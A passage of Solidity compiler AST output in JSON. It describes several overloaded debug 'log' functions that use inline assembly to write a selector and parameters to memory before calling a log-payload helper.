xpressionStatement","src":"181020:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"181056:4:22","nodeType":"YulLiteral","src":"181056:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"181062:2:22","nodeType":"YulIdentifier","src":"181062:2:22"}],"functionName":{"name":"mstore","nativeSrc":"181049:6:22","nodeType":"YulIdentifier","src":"181049:6:22"},"nativeSrc":"181049:16:22","nodeType":"YulFunctionCall","src":"181049:16:22"},"nativeSrc":"181049:16:22","nodeType":"YulExpressionStatement","src":"181049:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39698,"isOffset":false,"isSlot":false,"src":"180714:2:22","valueSize":1},{"declaration":39701,"isOffset":false,"isSlot":false,"src":"180744:2:22","valueSize":1},{"declaration":39704,"isOffset":false,"isSlot":false,"src":"180774:2:22","valueSize":1},{"declaration":39707,"isOffset":false,"isSlot":false,"src":"180804:2:22","valueSize":1},{"declaration":39710,"isOffset":false,"isSlot":false,"src":"180834:2:22","valueSize":1},{"declaration":39688,"isOffset":false,"isSlot":false,"src":"180975:2:22","valueSize":1},{"declaration":39690,"isOffset":false,"isSlot":false,"src":"181004:2:22","valueSize":1},{"declaration":39692,"isOffset":false,"isSlot":false,"src":"181033:2:22","valueSize":1},{"declaration":39694,"isOffset":false,"isSlot":false,"src":"181062:2:22","valueSize":1}],"id":39712,"nodeType":"InlineAssembly","src":"180691:384:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":39714,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"181100:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":39715,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"181106:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":39713,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"181084:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":39716,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"181084:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":39717,"nodeType":"ExpressionStatement","src":"181084:27:22"},{"AST":{"nativeSrc":"181130:156:22","nodeType":"YulBlock","src":"181130:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"181151:4:22","nodeType":"YulLiteral","src":"181151:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"181157:2:22","nodeType":"YulIdentifier","src":"181157:2:22"}],"functionName":{"name":"mstore","nativeSrc":"181144:6:22","nodeType":"YulIdentifier","src":"181144:6:22"},"nativeSrc":"181144:16:22","nodeType":"YulFunctionCall","src":"181144:16:22"},"nativeSrc":"181144:16:22","nodeType":"YulExpressionStatement","src":"181144:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"181180:4:22","nodeType":"YulLiteral","src":"181180:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"181186:2:22","nodeType":"YulIdentifier","src":"181186:2:22"}],"functionName":{"name":"mstore","nativeSrc":"181173:6:22","nodeType":"YulIdentifier","src":"181173:6:22"},"nativeSrc":"181173:16:22","nodeType":"YulFunctionCall","src":"181173:16:22"},"nativeSrc":"181173:16:22","nodeType":"YulExpressionStatement","src":"181173:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"181209:4:22","nodeType":"YulLiteral","src":"181209:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"181215:2:22","nodeType":"YulIdentifier","src":"181215:2:22"}],"functionName":{"name":"mstore","nativeSrc":"181202:6:22","nodeType":"YulIdentifier","src":"181202:6:22"},"nativeSrc":"181202:16:22","nodeType":"YulFunctionCall","src":"181202:16:22"},"nativeSrc":"181202:16:22","nodeType":"YulExpressionStatement","src":"181202:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"181238:4:22","nodeType":"YulLiteral","src":"181238:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"181244:2:22","nodeType":"YulIdentifier","src":"181244:2:22"}],"functionName":{"name":"mstore","nativeSrc":"181231:6:22","nodeType":"YulIdentifier","src":"181231:6:22"},"nativeSrc":"181231:16:22","nodeType":"YulFunctionCall","src":"181231:16:22"},"nativeSrc":"181231:16:22","nodeType":"YulExpressionStatement","src":"181231:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"181267:4:22","nodeType":"YulLiteral","src":"181267:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"181273:2:22","nodeType":"YulIdentifier","src":"181273:2:22"}],"functionName":{"name":"mstore","nativeSrc":"181260:6:22","nodeType":"YulIdentifier","src":"181260:6:22"},"nativeSrc":"181260:16:22","nodeType":"YulFunctionCall","src":"181260:16:22"},"nativeSrc":"181260:16:22","nodeType":"YulExpressionStatement","src":"181260:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39698,"isOffset":false,"isSlot":false,"src":"181157:2:22","valueSize":1},{"declaration":39701,"isOffset":false,"isSlot":false,"src":"181186:2:22","valueSize":1},{"declaration":39704,"isOffset":false,"isSlot":false,"src":"181215:2:22","valueSize":1},{"declaration":39707,"isOffset":false,"isSlot":false,"src":"181244:2:22","valueSize":1},{"declaration":39710,"isOffset":false,"isSlot":false,"src":"181273:2:22","valueSize":1}],"id":39718,"nodeType":"InlineAssembly","src":"181121:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"180521:3:22","parameters":{"id":39695,"nodeType":"ParameterList","parameters":[{"constant":false,"id":39688,"mutability":"mutable","name":"p0","nameLocation":"180530:2:22","nodeType":"VariableDeclaration","scope":39720,"src":"180525:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39687,"name":"bool","nodeType":"ElementaryTypeName","src":"180525:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39690,"mutability":"mutable","name":"p1","nameLocation":"180539:2:22","nodeType":"VariableDeclaration","scope":39720,"src":"180534:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39689,"name":"bool","nodeType":"ElementaryTypeName","src":"180534:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39692,"mutability":"mutable","name":"p2","nameLocation":"180551:2:22","nodeType":"VariableDeclaration","scope":39720,"src":"180543:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":39691,"name":"uint256","nodeType":"ElementaryTypeName","src":"180543:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":39694,"mutability":"mutable","name":"p3","nameLocation":"180563:2:22","nodeType":"VariableDeclaration","scope":39720,"src":"180555:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":39693,"name":"address","nodeType":"ElementaryTypeName","src":"180555:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"180524:42:22"},"returnParameters":{"id":39696,"nodeType":"ParameterList","parameters":[],"src":"180581:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":39754,"nodeType":"FunctionDefinition","src":"181298:774:22","nodes":[],"body":{"id":39753,"nodeType":"Block","src":"181364:708:22","nodes":[],"statements":[{"assignments":[39732],"declarations":[{"constant":false,"id":39732,"mutability":"mutable","name":"m0","nameLocation":"181382:2:22","nodeType":"VariableDeclaration","scope":39753,"src":"181374:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39731,"name":"bytes32","nodeType":"ElementaryTypeName","src":"181374:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39733,"nodeType":"VariableDeclarationStatement","src":"181374:10:22"},{"assignments":[39735],"declarations":[{"constant":false,"id":39735,"mutability":"mutable","name":"m1","nameLocation":"181402:2:22","nodeType":"VariableDeclaration","scope":39753,"src":"181394:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39734,"name":"bytes32","nodeType":"ElementaryTypeName","src":"181394:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39736,"nodeType":"VariableDeclarationStatement","src":"181394:10:22"},{"assignments":[39738],"declarations":[{"constant":false,"id":39738,"mutability":"mutable","name":"m2","nameLocation":"181422:2:22","nodeType":"VariableDeclaration","scope":39753,"src":"181414:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39737,"name":"bytes32","nodeType":"ElementaryTypeName","src":"181414:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39739,"nodeType":"VariableDeclarationStatement","src":"181414:10:22"},{"assignments":[39741],"declarations":[{"constant":false,"id":39741,"mutability":"mutable","name":"m3","nameLocation":"181442:2:22","nodeType":"VariableDeclaration","scope":39753,"src":"181434:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39740,"name":"bytes32","nodeType":"ElementaryTypeName","src":"181434:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39742,"nodeType":"VariableDeclarationStatement","src":"181434:10:22"},{"assignments":[39744],"declarations":[{"constant":false,"id":39744,"mutability":"mutable","name":"m4","nameLocation":"181462:2:22","nodeType":"VariableDeclaration","scope":39753,"src":"181454:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39743,"name":"bytes32","nodeType":"ElementaryTypeName","src":"181454:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39745,"nodeType":"VariableDeclarationStatement","src":"181454:10:22"},{"AST":{"nativeSrc":"181483:372:22","nodeType":"YulBlock","src":"181483:372:22","statements":[{"nativeSrc":"181497:17:22","nodeType":"YulAssignment","src":"181497:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"181509:4:22","nodeType":"YulLiteral","src":"181509:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"181503:5:22","nodeType":"YulIdentifier","src":"181503:5:22"},"nativeSrc":"181503:11:22","nodeType":"YulFunctionCall","src":"181503:11:22"},"variableNames":[{"name":"m0","nativeSrc":"181497:2:22","nodeType":"YulIdentifier","src":"181497:2:22"}]},{"nativeSrc":"181527:17:22","nodeType":"YulAssignment","src":"181527:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"181539:4:22","nodeType":"YulLiteral","src":"181539:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"181533:5:22","nodeType":"YulIdentifier","src":"181533:5:22"},"nativeSrc":"181533:11:22","nodeType":"YulFunctionCall","src":"181533:11:22"},"variableNames":[{"name":"m1","nativeSrc":"181527:2:22","nodeType":"YulIdentifier","src":"181527:2:22"}]},{"nativeSrc":"181557:17:22","nodeType":"YulAssignment","src":"181557:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"181569:4:22","nodeType":"YulLiteral","src":"181569:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"181563:5:22","nodeType":"YulIdentifier","src":"181563:5:22"},"nativeSrc":"181563:11:22","nodeType":"YulFunctionCall","src":"181563:11:22"},"variableNames":[{"name":"m2","nativeSrc":"181557:2:22","nodeType":"YulIdentifier","src":"181557:2:22"}]},{"nativeSrc":"181587:17:22","nodeType":"YulAssignment","src":"181587:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"181599:4:22","nodeType":"YulLiteral","src":"181599:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"181593:5:22","nodeType":"YulIdentifier","src":"181593:5:22"},"nativeSrc":"181593:11:22","nodeType":"YulFunctionCall","src":"181593:11:22"},"variableNames":[{"name":"m3","nativeSrc":"181587:2:22","nodeType":"YulIdentifier","src":"181587:2:22"}]},{"nativeSrc":"181617:17:22","nodeType":"YulAssignment","src":"181617:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"181629:4:22","nodeType":"YulLiteral","src":"181629:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"181623:5:22","nodeType":"YulIdentifier","src":"181623:5:22"},"nativeSrc":"181623:11:22","nodeType":"YulFunctionCall","src":"181623:11:22"},"variableNames":[{"name":"m4","nativeSrc":"181617:2:22","nodeType":"YulIdentifier","src":"181617:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"181712:4:22","nodeType":"YulLiteral","src":"181712:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"181718:10:22","nodeType":"YulLiteral","src":"181718:10:22","type":"","value":"0x619e4d0e"}],"functionName":{"name":"mstore","nativeSrc":"181705:6:22","nodeType":"YulIdentifier","src":"181705:6:22"},"nativeSrc":"181705:24:22","nodeType":"YulFunctionCall","src":"181705:24:22"},"nativeSrc":"181705:24:22","nodeType":"YulExpressionStatement","src":"181705:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"181749:4:22","nodeType":"YulLiteral","src":"181749:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"181755:2:22","nodeType":"YulIdentifier","src":"181755:2:22"}],"functionName":{"name":"mstore","nativeSrc":"181742:6:22","nodeType":"YulIdentifier","src":"181742:6:22"},"nativeSrc":"181742:16:22","nodeType":"YulFunctionCall","src":"181742:16:22"},"nativeSrc":"181742:16:22","nodeType":"YulExpressionStatement","src":"181742:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"181778:4:22","nodeType":"YulLiteral","src":"181778:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"181784:2:22","nodeType":"YulIdentifier","src":"181784:2:22"}],"functionName":{"name":"mstore","nativeSrc":"181771:6:22","nodeType":"YulIdentifier","src":"181771:6:22"},"nativeSrc":"181771:16:22","nodeType":"YulFunctionCall","src":"181771:16:22"},"nativeSrc":"181771:16:22","nodeType":"YulExpressionStatement","src":"181771:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"181807:4:22","nodeType":"YulLiteral","src":"181807:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"181813:2:22","nodeType":"YulIdentifier","src":"181813:2:22"}],"functionName":{"name":"mstore","nativeSrc":"181800:6:22","nodeType":"YulIdentifier","src":"181800:6:22"},"nativeSrc":"181800:16:22","nodeType":"YulFunctionCall","src":"181800:16:22"},"nativeSrc":"181800:16:22","nodeType":"YulExpressionStatement","src":"181800:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"181836:4:22","nodeType":"YulLiteral","src":"181836:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"181842:2:22","nodeType":"YulIdentifier","src":"181842:2:22"}],"functionName":{"name":"mstore","nativeSrc":"181829:6:22","nodeType":"YulIdentifier","src":"181829:6:22"},"nativeSrc":"181829:16:22","nodeType":"YulFunctionCall","src":"181829:16:22"},"nativeSrc":"181829:16:22","nodeType":"YulExpressionStatement","src":"181829:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39732,"isOffset":false,"isSlot":false,"src":"181497:2:22","valueSize":1},{"declaration":39735,"isOffset":false,"isSlot":false,"src":"181527:2:22","valueSize":1},{"declaration":39738,"isOffset":false,"isSlot":false,"src":"181557:2:22","valueSize":1},{"declaration":39741,"isOffset":false,"isSlot":false,"src":"181587:2:22","valueSize":1},{"declaration":39744,"isOffset":false,"isSlot":false,"src":"181617:2:22","valueSize":1},{"declaration":39722,"isOffset":false,"isSlot":false,"src":"181755:2:22","valueSize":1},{"declaration":39724,"isOffset":false,"isSlot":false,"src":"181784:2:22","valueSize":1},{"declaration":39726,"isOffset":false,"isSlot":false,"src":"181813:2:22","valueSize":1},{"declaration":39728,"isOffset":false,"isSlot":false,"src":"181842:2:22","valueSize":1}],"id":39746,"nodeType":"InlineAssembly","src":"181474:381:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":39748,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"181880:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":39749,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"181886:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":39747,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"181864:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":39750,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"181864:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":39751,"nodeType":"ExpressionStatement","src":"181864:27:22"},{"AST":{"nativeSrc":"181910:156:22","nodeType":"YulBlock","src":"181910:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"181931:4:22","nodeType":"YulLiteral","src":"181931:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"181937:2:22","nodeType":"YulIdentifier","src":"181937:2:22"}],"functionName":{"name":"mstore","nativeSrc":"181924:6:22","nodeType":"YulIdentifier","src":"181924:6:22"},"nativeSrc":"181924:16:22","nodeType":"YulFunctionCall","src":"181924:16:22"},"nativeSrc":"181924:16:22","nodeType":"YulExpressionStatement","src":"181924:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"181960:4:22","nodeType":"YulLiteral","src":"181960:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"181966:2:22","nodeType":"YulIdentifier","src":"181966:2:22"}],"functionName":{"name":"mstore","nativeSrc":"181953:6:22","nodeType":"YulIdentifier","src":"181953:6:22"},"nativeSrc":"181953:16:22","nodeType":"YulFunctionCall","src":"181953:16:22"},"nativeSrc":"181953:16:22","nodeType":"YulExpressionStatement","src":"181953:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"181989:4:22","nodeType":"YulLiteral","src":"181989:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"181995:2:22","nodeType":"YulIdentifier","src":"181995:2:22"}],"functionName":{"name":"mstore","nativeSrc":"181982:6:22","nodeType":"YulIdentifier","src":"181982:6:22"},"nativeSrc":"181982:16:22","nodeType":"YulFunctionCall","src":"181982:16:22"},"nativeSrc":"181982:16:22","nodeType":"YulExpressionStatement","src":"181982:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"182018:4:22","nodeType":"YulLiteral","src":"182018:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"182024:2:22","nodeType":"YulIdentifier","src":"182024:2:22"}],"functionName":{"name":"mstore","nativeSrc":"182011:6:22","nodeType":"YulIdentifier","src":"182011:6:22"},"nativeSrc":"182011:16:22","nodeType":"YulFunctionCall","src":"182011:16:22"},"nativeSrc":"182011:16:22","nodeType":"YulExpressionStatement","src":"182011:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"182047:4:22","nodeType":"YulLiteral","src":"182047:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"182053:2:22","nodeType":"YulIdentifier","src":"182053:2:22"}],"functionName":{"name":"mstore","nativeSrc":"182040:6:22","nodeType":"YulIdentifier","src":"182040:6:22"},"nativeSrc":"182040:16:22","nodeType":"YulFunctionCall","src":"182040:16:22"},"nativeSrc":"182040:16:22","nodeType":"YulExpressionStatement","src":"182040:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39732,"isOffset":false,"isSlot":false,"src":"181937:2:22","valueSize":1},{"declaration":39735,"isOffset":false,"isSlot":false,"src":"181966:2:22","valueSize":1},{"declaration":39738,"isOffset":false,"isSlot":false,"src":"181995:2:22","valueSize":1},{"declaration":39741,"isOffset":false,"isSlot":false,"src":"182024:2:22","valueSize":1},{"declaration":39744,"isOffset":false,"isSlot":false,"src":"182053:2:22","valueSize":1}],"id":39752,"nodeType":"InlineAssembly","src":"181901:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"181307:3:22","parameters":{"id":39729,"nodeType":"ParameterList","parameters":[{"constant":false,"id":39722,"mutability":"mutable","name":"p0","nameLocation":"181316:2:22","nodeType":"VariableDeclaration","scope":39754,"src":"181311:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39721,"name":"bool","nodeType":"ElementaryTypeName","src":"181311:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39724,"mutability":"mutable","name":"p1","nameLocation":"181325:2:22","nodeType":"VariableDeclaration","scope":39754,"src":"181320:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39723,"name":"bool","nodeType":"ElementaryTypeName","src":"181320:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39726,"mutability":"mutable","name":"p2","nameLocation":"181337:2:22","nodeType":"VariableDeclaration","scope":39754,"src":"181329:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":39725,"name":"uint256","nodeType":"ElementaryTypeName","src":"181329:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":39728,"mutability":"mutable","name":"p3","nameLocation":"181346:2:22","nodeType":"VariableDeclaration","scope":39754,"src":"181341:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39727,"name":"bool","nodeType":"ElementaryTypeName","src":"181341:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"181310:39:22"},"returnParameters":{"id":39730,"nodeType":"ParameterList","parameters":[],"src":"181364:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":39788,"nodeType":"FunctionDefinition","src":"182078:780:22","nodes":[],"body":{"id":39787,"nodeType":"Block","src":"182147:711:22","nodes":[],"statements":[{"assignments":[39766],"declarations":[{"constant":false,"id":39766,"mutability":"mutable","name":"m0","nameLocation":"182165:2:22","nodeType":"VariableDeclaration","scope":39787,"src":"182157:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39765,"name":"bytes32","nodeType":"ElementaryTypeName","src":"182157:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39767,"nodeType":"VariableDeclarationStatement","src":"182157:10:22"},{"assignments":[39769],"declarations":[{"constant":false,"id":39769,"mutability":"mutable","name":"m1","nameLocation":"182185:2:22","nodeType":"VariableDeclaration","scope":39787,"src":"182177:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39768,"name":"bytes32","nodeType":"ElementaryTypeName","src":"182177:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39770,"nodeType":"VariableDeclarationStatement","src":"182177:10:22"},{"assignments":[39772],"declarations":[{"constant":false,"id":39772,"mutability":"mutable","name":"m2","nameLocation":"182205:2:22","nodeType":"VariableDeclaration","scope":39787,"src":"182197:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39771,"name":"bytes32","nodeType":"ElementaryTypeName","src":"182197:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39773,"nodeType":"VariableDeclarationStatement","src":"182197:10:22"},{"assignments":[39775],"declarations":[{"constant":false,"id":39775,"mutability":"mutable","name":"m3","nameLocation":"182225:2:22","nodeType":"VariableDeclaration","scope":39787,"src":"182217:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39774,"name":"bytes32","nodeType":"ElementaryTypeName","src":"182217:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39776,"nodeType":"VariableDeclarationStatement","src":"182217:10:22"},{"assignments":[39778],"declarations":[{"constant":false,"id":39778,"mutability":"mutable","name":"m4","nameLocation":"182245:2:22","nodeType":"VariableDeclaration","scope":39787,"src":"182237:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39777,"name":"bytes32","nodeType":"ElementaryTypeName","src":"182237:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39779,"nodeType":"VariableDeclarationStatement","src":"182237:10:22"},{"AST":{"nativeSrc":"182266:375:22","nodeType":"YulBlock","src":"182266:375:22","statements":[{"nativeSrc":"182280:17:22","nodeType":"YulAssignment","src":"182280:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"182292:4:22","nodeType":"YulLiteral","src":"182292:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"182286:5:22","nodeType":"YulIdentifier","src":"182286:5:22"},"nativeSrc":"182286:11:22","nodeType":"YulFunctionCall","src":"182286:11:22"},"variableNames":[{"name":"m0","nativeSrc":"182280:2:22","nodeType":"YulIdentifier","src":"182280:2:22"}]},{"nativeSrc":"182310:17:22","nodeType":"YulAssignment","src":"182310:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"182322:4:22","nodeType":"YulLiteral","src":"182322:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"182316:5:22","nodeType":"YulIdentifier","src":"182316:5:22"},"nativeSrc":"182316:11:22","nodeType":"YulFunctionCall","src":"182316:11:22"},"variableNames":[{"name":"m1","nativeSrc":"182310:2:22","nodeType":"YulIdentifier","src":"182310:2:22"}]},{"nativeSrc":"182340:17:22","nodeType":"YulAssignment","src":"182340:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"182352:4:22","nodeType":"YulLiteral","src":"182352:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"182346:5:22","nodeType":"YulIdentifier","src":"182346:5:22"},"nativeSrc":"182346:11:22","nodeType":"YulFunctionCall","src":"182346:11:22"},"variableNames":[{"name":"m2","nativeSrc":"182340:2:22","nodeType":"YulIdentifier","src":"182340:2:22"}]},{"nativeSrc":"182370:17:22","nodeType":"YulAssignment","src":"182370:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"182382:4:22","nodeType":"YulLiteral","src":"182382:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"182376:5:22","nodeType":"YulIdentifier","src":"182376:5:22"},"nativeSrc":"182376:11:22","nodeType":"YulFunctionCall","src":"182376:11:22"},"variableNames":[{"name":"m3","nativeSrc":"182370:2:22","nodeType":"YulIdentifier","src":"182370:2:22"}]},{"nativeSrc":"182400:17:22","nodeType":"YulAssignment","src":"182400:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"182412:4:22","nodeType":"YulLiteral","src":"182412:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"182406:5:22","nodeType":"YulIdentifier","src":"182406:5:22"},"nativeSrc":"182406:11:22","nodeType":"YulFunctionCall","src":"182406:11:22"},"variableNames":[{"name":"m4","nativeSrc":"182400:2:22","nodeType":"YulIdentifier","src":"182400:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"182498:4:22","nodeType":"YulLiteral","src":"182498:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"182504:10:22","nodeType":"YulLiteral","src":"182504:10:22","type":"","value":"0x0bb00eab"}],"functionName":{"name":"mstore","nativeSrc":"182491:6:22","nodeType":"YulIdentifier","src":"182491:6:22"},"nativeSrc":"182491:24:22","nodeType":"YulFunctionCall","src":"182491:24:22"},"nativeSrc":"182491:24:22","nodeType":"YulExpressionStatement","src":"182491:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"182